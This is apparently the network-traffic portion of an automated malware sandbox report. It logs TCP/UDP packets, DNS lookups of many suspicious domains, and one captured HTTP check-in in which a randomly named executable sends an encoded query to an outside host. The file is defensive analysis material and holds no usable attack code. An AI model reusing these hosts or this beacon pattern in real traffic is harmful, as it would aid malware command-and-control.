Dec 6, 2024 17:38:25.714649916 CET	49948	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:25.834692955 CET	80	49948	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:25.834919930 CET	49948	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:25.846615076 CET	49948	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:25.967057943 CET	80	49948	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:26.938834906 CET	80	49948	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:26.938864946 CET	80	49948	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:26.938879013 CET	80	49948	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:26.939013004 CET	49948	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:26.942259073 CET	49948	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:27.062215090 CET	80	49948	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:32.692593098 CET	49964	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:32.812482119 CET	80	49964	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:32.812556982 CET	49964	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:32.832287073 CET	49964	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:32.952184916 CET	80	49964	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:33.910063982 CET	80	49964	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:33.910101891 CET	80	49964	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:33.910114050 CET	80	49964	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:33.912697077 CET	49964	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:34.350634098 CET	49964	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:35.368350983 CET	49973	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:35.488538027 CET	80	49973	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:35.488620996 CET	49973	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:35.508073092 CET	49973	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:35.628163099 CET	80	49973	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:36.584779024 CET	80	49973	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:36.584816933 CET	80	49973	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:36.584979057 CET	80	49973	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:36.585063934 CET	49973	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:37.021029949 CET	49973	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:38.042668104 CET	49979	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:38.162679911 CET	80	49979	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:38.163043976 CET	49979	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:38.180869102 CET	49979	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:38.302829981 CET	80	49979	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:38.302872896 CET	80	49979	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:39.268841982 CET	80	49979	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:39.268959999 CET	80	49979	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:39.269011021 CET	49979	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:39.269155979 CET	80	49979	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:39.269198895 CET	49979	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:39.692779064 CET	49979	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:40.712954044 CET	49985	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:40.834562063 CET	80	49985	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:40.834635019 CET	49985	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:40.847820997 CET	49985	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:40.967674971 CET	80	49985	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:41.949567080 CET	80	49985	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:41.949680090 CET	80	49985	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:41.949692965 CET	80	49985	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:41.949933052 CET	49985	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:41.952963114 CET	49985	80	192.168.2.12	199.59.243.227
Dec 6, 2024 17:38:42.072763920 CET	80	49985	199.59.243.227	192.168.2.12
Dec 6, 2024 17:38:47.249382019 CET	50001	80	192.168.2.12	104.21.90.137
Dec 6, 2024 17:38:47.370773077 CET	80	50001	104.21.90.137	192.168.2.12
Dec 6, 2024 17:38:47.370969057 CET	50001	80	192.168.2.12	104.21.90.137
Dec 6, 2024 17:38:47.386852980 CET	50001	80	192.168.2.12	104.21.90.137
Dec 6, 2024 17:38:47.506764889 CET	80	50001	104.21.90.137	192.168.2.12
Dec 6, 2024 17:38:48.528377056 CET	80	50001	104.21.90.137	192.168.2.12
Dec 6, 2024 17:38:48.529622078 CET	80	50001	104.21.90.137	192.168.2.12
Dec 6, 2024 17:38:48.529808998 CET	50001	80	192.168.2.12	104.21.90.137
Dec 6, 2024 17:38:48.898072958 CET	50001	80	192.168.2.12	104.21.90.137
Dec 6, 2024 17:38:49.918682098 CET	50007	80	192.168.2.12	104.21.90.137
Dec 6, 2024 17:38:50.038911104 CET	80	50007	104.21.90.137	192.168.2.12
Dec 6, 2024 17:38:50.042922020 CET	50007	80	192.168.2.12	104.21.90.137
Dec 6, 2024 17:38:50.058731079 CET	50007	80	192.168.2.12	104.21.90.137
Dec 6, 2024 17:38:50.178594112 CET	80	50007	104.21.90.137	192.168.2.12
Dec 6, 2024 17:38:51.231123924 CET	80	50007	104.21.90.137	192.168.2.12
Dec 6, 2024 17:38:51.231142998 CET	80	50007	104.21.90.137	192.168.2.12
Dec 6, 2024 17:38:51.231199026 CET	50007	80	192.168.2.12	104.21.90.137
Dec 6, 2024 17:38:51.567842007 CET	50007	80	192.168.2.12	104.21.90.137
Dec 6, 2024 17:38:52.587269068 CET	50016	80	192.168.2.12	104.21.90.137
Dec 6, 2024 17:38:52.707139969 CET	80	50016	104.21.90.137	192.168.2.12
Dec 6, 2024 17:38:52.707230091 CET	50016	80	192.168.2.12	104.21.90.137
Dec 6, 2024 17:38:52.727773905 CET	50016	80	192.168.2.12	104.21.90.137
Dec 6, 2024 17:38:52.848541021 CET	80	50016	104.21.90.137	192.168.2.12
Dec 6, 2024 17:38:52.848553896 CET	80	50016	104.21.90.137	192.168.2.12
Dec 6, 2024 17:38:53.955550909 CET	80	50016	104.21.90.137	192.168.2.12
Dec 6, 2024 17:38:53.955918074 CET	80	50016	104.21.90.137	192.168.2.12
Dec 6, 2024 17:38:53.956005096 CET	50016	80	192.168.2.12	104.21.90.137
Dec 6, 2024 17:38:54.242705107 CET	50016	80	192.168.2.12	104.21.90.137
Dec 6, 2024 17:38:55.259362936 CET	50021	80	192.168.2.12	104.21.90.137
Dec 6, 2024 17:38:55.379808903 CET	80	50021	104.21.90.137	192.168.2.12
Dec 6, 2024 17:38:55.379905939 CET	50021	80	192.168.2.12	104.21.90.137
Dec 6, 2024 17:38:55.392103910 CET	50021	80	192.168.2.12	104.21.90.137
Dec 6, 2024 17:38:55.512247086 CET	80	50021	104.21.90.137	192.168.2.12
Dec 6, 2024 17:38:56.544302940 CET	80	50021	104.21.90.137	192.168.2.12
Dec 6, 2024 17:38:56.545413017 CET	80	50021	104.21.90.137	192.168.2.12
Dec 6, 2024 17:38:56.546962976 CET	50021	80	192.168.2.12	104.21.90.137
Dec 6, 2024 17:38:56.550683022 CET	50021	80	192.168.2.12	104.21.90.137
Dec 6, 2024 17:38:56.670505047 CET	80	50021	104.21.90.137	192.168.2.12
Dec 6, 2024 17:39:02.382711887 CET	50022	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:02.503170013 CET	80	50022	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:02.506942034 CET	50022	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:02.526726007 CET	50022	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:02.646538973 CET	80	50022	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:03.765054941 CET	80	50022	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:03.765098095 CET	80	50022	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:03.765111923 CET	80	50022	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:03.765125036 CET	80	50022	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:03.765223980 CET	80	50022	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:03.765295982 CET	80	50022	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:03.765342951 CET	80	50022	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:03.765357018 CET	80	50022	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:03.765358925 CET	50022	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:03.765412092 CET	50022	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:03.765451908 CET	80	50022	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:03.765477896 CET	50022	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:03.765642881 CET	80	50022	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:03.770725965 CET	50022	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:03.885915995 CET	80	50022	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:03.886358023 CET	80	50022	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:03.890749931 CET	50022	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:03.956989050 CET	80	50022	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:03.957010031 CET	80	50022	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:03.957505941 CET	50022	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:04.037194967 CET	50022	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:05.056575060 CET	50023	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:05.181077957 CET	80	50023	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:05.181157112 CET	50023	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:05.198966026 CET	50023	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:05.318918943 CET	80	50023	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:06.469746113 CET	80	50023	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:06.469810009 CET	80	50023	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:06.469820976 CET	80	50023	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:06.469961882 CET	80	50023	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:06.469973087 CET	80	50023	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:06.469985008 CET	80	50023	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:06.469988108 CET	50023	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:06.470098019 CET	80	50023	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:06.470109940 CET	80	50023	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:06.470123053 CET	80	50023	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:06.470135927 CET	80	50023	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:06.470158100 CET	50023	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:06.470158100 CET	50023	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:06.470556021 CET	50023	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:06.589989901 CET	80	50023	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:06.590022087 CET	80	50023	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:06.590096951 CET	50023	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:06.661787987 CET	80	50023	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:06.661835909 CET	80	50023	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:06.662141085 CET	50023	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:06.708710909 CET	50023	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:07.730734110 CET	50024	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:07.850681067 CET	80	50024	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:07.850927114 CET	50024	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:07.866719007 CET	50024	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:07.986552000 CET	80	50024	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:07.986637115 CET	80	50024	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:09.095515966 CET	80	50024	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:09.095557928 CET	80	50024	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:09.095570087 CET	80	50024	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:09.095602989 CET	50024	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:09.095634937 CET	80	50024	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:09.095673084 CET	50024	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:09.095675945 CET	80	50024	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:09.095691919 CET	80	50024	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:09.095705032 CET	80	50024	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:09.095731974 CET	50024	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:09.095848083 CET	80	50024	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:09.095861912 CET	80	50024	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:09.095874071 CET	80	50024	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:09.095890045 CET	50024	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:09.095926046 CET	50024	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:09.217664957 CET	80	50024	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:09.217825890 CET	80	50024	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:09.217860937 CET	50024	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:09.287134886 CET	80	50024	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:09.287270069 CET	80	50024	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:09.287317991 CET	50024	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:09.380285978 CET	50024	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:10.399472952 CET	50025	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:10.519229889 CET	80	50025	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:10.519443989 CET	50025	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:10.528973103 CET	50025	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:10.648894072 CET	80	50025	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:11.746264935 CET	80	50025	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:11.802745104 CET	50025	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:16.747354984 CET	80	50025	108.179.253.197	192.168.2.12
Dec 6, 2024 17:39:16.747596979 CET	50025	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:16.748806953 CET	50025	80	192.168.2.12	108.179.253.197
Dec 6, 2024 17:39:16.868582964 CET	80	50025	108.179.253.197	192.168.2.12

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 17:35:53.835146904 CET	52072	53	192.168.2.12	1.1.1.1
Dec 6, 2024 17:35:54.054686069 CET	53	52072	1.1.1.1	192.168.2.12
Dec 6, 2024 17:35:59.071702957 CET	50087	53	192.168.2.12	1.1.1.1
Dec 6, 2024 17:35:59.296875000 CET	53	50087	1.1.1.1	192.168.2.12
Dec 6, 2024 17:36:04.305788994 CET	61331	53	192.168.2.12	1.1.1.1
Dec 6, 2024 17:36:05.067002058 CET	53	61331	1.1.1.1	192.168.2.12
Dec 6, 2024 17:36:21.353147984 CET	62612	53	192.168.2.12	1.1.1.1
Dec 6, 2024 17:36:21.943192959 CET	53	62612	1.1.1.1	192.168.2.12
Dec 6, 2024 17:36:36.180921078 CET	56011	53	192.168.2.12	1.1.1.1
Dec 6, 2024 17:36:36.701433897 CET	53	56011	1.1.1.1	192.168.2.12
Dec 6, 2024 17:36:51.415005922 CET	63291	53	192.168.2.12	1.1.1.1
Dec 6, 2024 17:36:51.719197989 CET	53	63291	1.1.1.1	192.168.2.12
Dec 6, 2024 17:37:05.961952925 CET	54072	53	192.168.2.12	1.1.1.1
Dec 6, 2024 17:37:06.732167006 CET	53	54072	1.1.1.1	192.168.2.12
Dec 6, 2024 17:37:21.180865049 CET	59108	53	192.168.2.12	1.1.1.1
Dec 6, 2024 17:37:21.681685925 CET	53	59108	1.1.1.1	192.168.2.12
Dec 6, 2024 17:37:36.466502905 CET	62417	53	192.168.2.12	1.1.1.1
Dec 6, 2024 17:37:37.443259001 CET	53	62417	1.1.1.1	192.168.2.12
Dec 6, 2024 17:37:51.790978909 CET	49890	53	192.168.2.12	1.1.1.1
Dec 6, 2024 17:37:52.355501890 CET	53	49890	1.1.1.1	192.168.2.12
Dec 6, 2024 17:38:00.478566885 CET	53901	53	192.168.2.12	1.1.1.1
Dec 6, 2024 17:38:00.992701054 CET	53	53901	1.1.1.1	192.168.2.12
Dec 6, 2024 17:38:16.970326900 CET	60783	53	192.168.2.12	1.1.1.1
Dec 6, 2024 17:38:17.699719906 CET	53	60783	1.1.1.1	192.168.2.12
Dec 6, 2024 17:38:31.948913097 CET	53626	53	192.168.2.12	1.1.1.1
Dec 6, 2024 17:38:32.689207077 CET	53	53626	1.1.1.1	192.168.2.12
Dec 6, 2024 17:38:46.964334011 CET	58453	53	192.168.2.12	1.1.1.1
Dec 6, 2024 17:38:47.246732950 CET	53	58453	1.1.1.1	192.168.2.12
Dec 6, 2024 17:39:01.558156013 CET	51725	53	192.168.2.12	1.1.1.1
Dec 6, 2024 17:39:02.379075050 CET	53	51725	1.1.1.1	192.168.2.12

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 6, 2024 17:35:53.835146904 CET	192.168.2.12	1.1.1.1	0xc1e1	Standard query (0)	www.betmatchx.online	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:35:59.071702957 CET	192.168.2.12	1.1.1.1	0x8fee	Standard query (0)	www.egldfi.xyz	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:36:04.305788994 CET	192.168.2.12	1.1.1.1	0xae38	Standard query (0)	www.remedies.pro	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:36:21.353147984 CET	192.168.2.12	1.1.1.1	0xf025	Standard query (0)	www.egyshare.xyz	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:36:36.180921078 CET	192.168.2.12	1.1.1.1	0x8fc9	Standard query (0)	www.appsolucao.shop	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:36:51.415005922 CET	192.168.2.12	1.1.1.1	0xfc7f	Standard query (0)	www.samundri.online	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:37:05.961952925 CET	192.168.2.12	1.1.1.1	0x8b80	Standard query (0)	www.happyjam.life	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:37:21.180865049 CET	192.168.2.12	1.1.1.1	0x63b4	Standard query (0)	www.t19yd.top	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:37:36.466502905 CET	192.168.2.12	1.1.1.1	0xb9fc	Standard query (0)	www.atendefacil.info	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:37:51.790978909 CET	192.168.2.12	1.1.1.1	0x1811	Standard query (0)	www.uynline.shop	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:38:00.478566885 CET	192.168.2.12	1.1.1.1	0x8d3e	Standard query (0)	www.sitioseguro.blog	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:38:16.970326900 CET	192.168.2.12	1.1.1.1	0x5dd6	Standard query (0)	www.dating-apps-az-dn5.xyz	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:38:31.948913097 CET	192.168.2.12	1.1.1.1	0x27f8	Standard query (0)	www.whisperart.net	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:38:46.964334011 CET	192.168.2.12	1.1.1.1	0xeb7f	Standard query (0)	www.ana-silverco.shop	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:39:01.558156013 CET	192.168.2.12	1.1.1.1	0x9007	Standard query (0)	www.bloodbalancecaps.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 6, 2024 17:35:54.054686069 CET	1.1.1.1	192.168.2.12	0xc1e1	Name error (3)	www.betmatchx.online	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:35:59.296875000 CET	1.1.1.1	192.168.2.12	0x8fee	Name error (3)	www.egldfi.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:36:05.067002058 CET	1.1.1.1	192.168.2.12	0xae38	No error (0)	www.remedies.pro		13.248.169.48	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:36:05.067002058 CET	1.1.1.1	192.168.2.12	0xae38	No error (0)	www.remedies.pro		76.223.54.146	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:36:21.943192959 CET	1.1.1.1	192.168.2.12	0xf025	No error (0)	www.egyshare.xyz		13.248.169.48	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:36:21.943192959 CET	1.1.1.1	192.168.2.12	0xf025	No error (0)	www.egyshare.xyz		76.223.54.146	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:36:36.701433897 CET	1.1.1.1	192.168.2.12	0x8fc9	No error (0)	www.appsolucao.shop	appsolucao.shop		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 17:36:36.701433897 CET	1.1.1.1	192.168.2.12	0x8fc9	No error (0)	appsolucao.shop		84.32.84.32	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:36:51.719197989 CET	1.1.1.1	192.168.2.12	0xfc7f	No error (0)	www.samundri.online	samundri.online		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 17:36:51.719197989 CET	1.1.1.1	192.168.2.12	0xfc7f	No error (0)	samundri.online		84.32.84.32	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:37:06.732167006 CET	1.1.1.1	192.168.2.12	0x8b80	No error (0)	www.happyjam.life		209.74.77.107	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:37:21.681685925 CET	1.1.1.1	192.168.2.12	0x63b4	No error (0)	www.t19yd.top	t19yd.top		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 17:37:21.681685925 CET	1.1.1.1	192.168.2.12	0x63b4	No error (0)	t19yd.top		38.47.207.164	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:37:37.443259001 CET	1.1.1.1	192.168.2.12	0xb9fc	No error (0)	www.atendefacil.info		208.115.225.220	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:37:52.355501890 CET	1.1.1.1	192.168.2.12	0x1811	No error (0)	www.uynline.shop	uynline.shop		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 17:38:00.992701054 CET	1.1.1.1	192.168.2.12	0x8d3e	No error (0)	www.sitioseguro.blog		172.67.162.39	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:38:00.992701054 CET	1.1.1.1	192.168.2.12	0x8d3e	No error (0)	www.sitioseguro.blog		104.21.15.100	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:38:17.699719906 CET	1.1.1.1	192.168.2.12	0x5dd6	No error (0)	www.dating-apps-az-dn5.xyz		199.59.243.227	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:38:32.689207077 CET	1.1.1.1	192.168.2.12	0x27f8	No error (0)	www.whisperart.net		199.59.243.227	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:38:47.246732950 CET	1.1.1.1	192.168.2.12	0xeb7f	No error (0)	www.ana-silverco.shop		104.21.90.137	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:38:47.246732950 CET	1.1.1.1	192.168.2.12	0xeb7f	No error (0)	www.ana-silverco.shop		172.67.156.195	A (IP address)	IN (0x0001)	false
Dec 6, 2024 17:39:02.379075050 CET	1.1.1.1	192.168.2.12	0x9007	No error (0)	www.bloodbalancecaps.shop	bloodbalancecaps.shop		CNAME (Canonical name)	IN (0x0001)	false
Dec 6, 2024 17:39:02.379075050 CET	1.1.1.1	192.168.2.12	0x9007	No error (0)	bloodbalancecaps.shop		108.179.253.197	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.remedies.pro

www.egyshare.xyz

www.appsolucao.shop

www.samundri.online

www.happyjam.life

www.t19yd.top

www.atendefacil.info

www.sitioseguro.blog

www.dating-apps-az-dn5.xyz

www.whisperart.net

www.ana-silverco.shop

www.bloodbalancecaps.shop

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.12	49715	13.248.169.48	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 17:36:05.205074072 CET	514	OUT	GET /8ewn/?RZ=0nkpmZbx9Z4P2&BHptZ6F=MQU8hgqJCfJkKwurq5QXSTcsAScUHw3Ryuy9I29ewyrFHLJiO5EUJc8dhjLhkP1w+kMFiKX1Jf9ni3jKt1WG/ZpblKXuHNDxI7tmrBLFv1SmPdd+ShDH4FU= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.remedies.pro Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36
Dec 6, 2024 17:36:06.304842949 CET	381	IN	HTTP/1.1 200 OK content-type: text/html date: Fri, 06 Dec 2024 16:36:06 GMT content-length: 260 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 52 5a 3d 30 6e 6b 70 6d 5a 62 78 39 5a 34 50 32 26 42 48 70 74 5a 36 46 3d 4d 51 55 38 68 67 71 4a 43 66 4a 6b 4b 77 75 72 71 35 51 58 53 54 63 73 41 53 63 55 48 77 33 52 79 75 79 39 49 32 39 65 77 79 72 46 48 4c 4a 69 4f 35 45 55 4a 63 38 64 68 6a 4c 68 6b 50 31 77 2b 6b 4d 46 69 4b 58 31 4a 66 39 6e 69 33 6a 4b 74 31 57 47 2f 5a 70 62 6c 4b 58 75 48 4e 44 78 49 37 74 6d 72 42 4c 46 76 31 53 6d 50 64 64 2b 53 68 44 48 34 46 55 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?RZ=0nkpmZbx9Z4P2&BHptZ6F=MQU8hgqJCfJkKwurq5QXSTcsAScUHw3Ryuy9I29ewyrFHLJiO5EUJc8dhjLhkP1w+kMFiKX1Jf9ni3jKt1WG/ZpblKXuHNDxI7tmrBLFv1SmPdd+ShDH4FU="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.12	49717	13.248.169.48	80	5356	C:\Program Files (x86)\VrozKvDIOQulSNMsSlPiPHmAbkHAfHeGfhdKqzkgewzRbyIGCfPlReNOqpymmgGsckKxwqTutuPyxG\RsbLJIqaDYs.exe

Timestamp	Bytes transferred	Direction	Data
